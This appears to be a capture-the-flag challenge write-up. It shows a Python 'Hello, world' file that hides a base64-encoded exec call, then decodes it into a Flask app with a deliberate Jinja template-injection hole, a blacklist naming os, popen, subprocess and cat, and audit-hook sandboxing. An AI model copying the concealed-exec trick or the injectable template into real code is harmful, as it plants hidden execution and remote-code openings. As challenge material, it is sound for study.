print("Hello, world!") (喝,藏着呢) ;exec(__import__("base64").b64decode('IyBZT1UgRk9VTkQgTUUgOykKIyAtKi0gZW5jb2Rpbmc6IHV0Zi04IC0qLQonJycKQEZpbGUgICAgOiAgIHNyYy5weQpAVGltZSAgICA6ICAgMjAyNS8wMy8yOSAwMToxMDozNwpAQXV0aG9yICA6ICAgTGFtZW50WFUgCicnJwppbXBvcnQgZmxhc2sKaW1wb3J0IHN5cwplbmFibGVfaG9vayA9ICBGYWxzZQpjb3VudGVyID0gMApkZWYgYXVkaXRfY2hlY2tlcihldmVudCxhcmdzKToKICAgIGdsb2JhbCBjb3VudGVyCiAgICBpZiBlbmFibGVfaG9vazoKICAgICAgICBpZiBldmVudCBpbiBbImV4ZWMiLCAiY29tcGlsZSJdOgogICAgICAgICAgICBjb3VudGVyICs9IDEKICAgICAgICAgICAgaWYgY291bnRlciA+IDQ6CiAgICAgICAgICAgICAgICByYWlzZSBSdW50aW1lRXJyb3IoZXZlbnQpCgpsb2NrX3dpdGhpbiA9IFsKICAgICJkZWJ1ZyIsICJmb3JtIiwgImFyZ3MiLCAidmFsdWVzIiwgCiAgICAiaGVhZGVycyIsICJqc29uIiwgInN0cmVhbSIsICJlbnZpcm9uIiwKICAgICJmaWxlcyIsICJtZXRob2QiLCAiY29va2llcyIsICJhcHBsaWNhdGlvbiIsIAogICAgJ2RhdGEnLCAndXJsJyAsJ1wnJywgJyInLCAKICAgICJnZXRhdHRyIiwgIl8iLCAie3siLCAifX0iLCAKICAgICJbIiwgIl0iLCAiXFwiLCAiLyIsInNlbGYiLCAKICAgICJsaXBzdW0iLCAiY3ljbGVyIiwgImpvaW5lciIsICJuYW1lc3BhY2UiLCAKICAgICJpbml0IiwgImRpciIsICJqb2luIiwgImRlY29kZSIsIAogICAgImJhdGNoIiwgImZpcnN0IiwgImxhc3QiICwgCiAgICAiICIsImRpY3QiLCJsaXN0IiwiZy4iLAogICAgIm9zIiwgInN1YnByb2Nlc3MiLAogICAgImd8YSIsICJHTE9CQUxTIiwgImxvd2VyIiwgInVwcGVyIiwKICAgICJCVUlMVElOUyIsICJzZWxlY3QiLCAiV0hPQU1JIiwgInBhdGgiLAogICAgIm9zIiwgInBvcGVuIiwgImNhdCIsICJubCIsICJhcHAiLCAic2V0YXR0ciIsICJ0cmFuc2xhdGUiLAogICAgInNvcnQiLCAiYmFzZTY0IiwgImVuY29kZSIsICJcXHUiLCAicG9wIiwgInJlZmVyZXIiLAogICAgIlRoZSBjbG9zZXIgeW91IHNlZSwgdGhlIGxlc3NlciB5b3UgZmluZC4iXSAKICAgICAgICAjIEkgaGF0ZSBhbGwgdGhlc2UuCmFwcCA9IGZsYXNrLkZsYXNrKF9fbmFtZV9fKQpAYXBwLnJvdXRlKCcvJykKZGVmIGluZGV4KCk6CiAgICByZXR1cm4gJ3RyeSAvSDNkZGVuX3JvdXRlJwpAYXBwLnJvdXRlKCcvSDNkZGVuX3JvdXRlJykKZGVmIHIzYWxfaW5zMWRlX3RoMHVnaHQoKToKICAgIGdsb2JhbCBlbmFibGVfaG9vaywgY291bnRlcgogICAgbmFtZSA9IGZsYXNrLnJlcXVlc3QuYXJncy5nZXQoJ015X2luczFkZV93MHIxZCcpCiAgICBpZiBuYW1lOgogICAgICAgIHRyeToKICAgICAgICAgICAgaWYgbmFtZS5zdGFydHN3aXRoKCJGb2xsb3cteW91ci1oZWFydC0iKToKICAgICAgICAgICAgICAgIGZvciBpIGluIGxvY2tfd2l0aGluOgogICAgICAgICAgICAgICAgICAgIGlmIGkgaW4gbmFtZToKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICdOT1BFLicKICAgICAgICAgICAgICAgIGVuYWJsZV9ob29rID0gVHJ1ZQogICAgICAgICAgICAgICAgYSA9IGZsYXNrLnJlbmRlcl90ZW1wbGF0ZV9zdHJpbmcoJ3sjJytmJ3tuYW1lfScrJyN9JykKICAgICAgICAgICAgICAgIGVuYWJsZV9ob29rID0gRmFsc2UKICAgICAgICAgICAgICAgIGNvdW50ZXIgPSAwCiAgICAgICAgICAgICAgICByZXR1cm4gYQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuICdNeSBpbnNpZGUgd29ybGQgaXMgYWx3YXlzIGhpZGRlbi4nCiAgICAgICAgZXhjZXB0IFJ1bnRpbWVFcnJvciBhcyBlOgogICAgICAgICAgICBjb3VudGVyID0gMAogICAgICAgICAgICByZXR1cm4gJ05PLicKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiAnRXJyb3InCiAgICBlbHNlOgogICAgICAgIHJldHVybiAnV2VsY29tZSB0byBIaWRkZW5fcm91dGUhJwoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIGltcG9ydCBvcwogICAgdHJ5OgogICAgICAgIGltcG9ydCBfcG9zaXhzdWJwcm9jZXNzCiAgICAgICAgZGVsIF9wb3NpeHN1YnByb2Nlc3MuZm9ya19leGVjCiAgICBleGNlcHQ6CiAgICAgICAgcGFzcwogICAgaW1wb3J0IHN1YnByb2Nlc3MKICAgIGRlbCBvcy5wb3BlbgogICAgZGVsIG9zLnN5c3RlbQogICAgZGVsIHN1YnByb2Nlc3MuUG9wZW4KICAgIGRlbCBzdWJwcm9jZXNzLmNhbGwKICAgIGRlbCBzdWJwcm9jZXNzLnJ1bgogICAgZGVsIHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0CiAgICBkZWwgc3VicHJvY2Vzcy5nZXRvdXRwdXQKICAgIGRlbCBzdWJwcm9jZXNzLmNoZWNrX2NhbGwKICAgIGRlbCBzdWJwcm9jZXNzLmdldHN0YXR1c291dHB1dAogICAgZGVsIHN1YnByb2Nlc3MuUElQRQogICAgZGVsIHN1YnByb2Nlc3MuU1RET1VUCiAgICBkZWwgc3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3IKICAgIGRlbCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkCiAgICBkZWwgc3VicHJvY2Vzcy5TdWJwcm9jZXNzRXJyb3IKICAgIHN5cy5hZGRhdWRpdGhvb2soYXVkaXRfY2hlY2tlcikKICAgIGFwcC5ydW4oZGVidWc9RmFsc2UsIGhvc3Q9JzAuMC4wLjAnLCBwb3J0PTUwMDApCg=='))
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")

解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)